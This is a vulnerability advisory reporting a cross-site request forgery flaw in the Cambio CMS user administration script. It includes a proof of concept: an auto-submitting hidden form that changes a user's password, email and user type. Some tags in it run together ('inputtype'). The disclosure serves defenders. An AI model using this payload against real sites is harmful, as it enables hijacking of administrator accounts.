Vulnerability ID: HTB22768
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_cambio.html
Product: Cambio
Vendor: Joram van den Boezem ( http://www.cambiocms.org/)
Vulnerable Version:0.5a nightly r37 and probably prior versions
Vendor Notification:28 December 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
The vulnerability exists due to failure in the "modules/user/user.admin.php" script to properly verify the source of HTTP request.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
Attacker can use browser to exploit this vulnerability. The following PoC is available:<form action="http://host/admin/index.php?module=user&task=save&elmid=" method="post" name="main"><inputtype="hidden" name="id" value="USERID"><inputtype="hidden" name="module" value="100"><inputtype="hidden" name="newpass1" value="newpass"><inputtype="hidden" name="newpass2" value="newpass"><inputtype="hidden" name="email" value="email@example.com"><inputtype="hidden" name="usertype_id" value="2"></form><script>
document.main.submit();</script>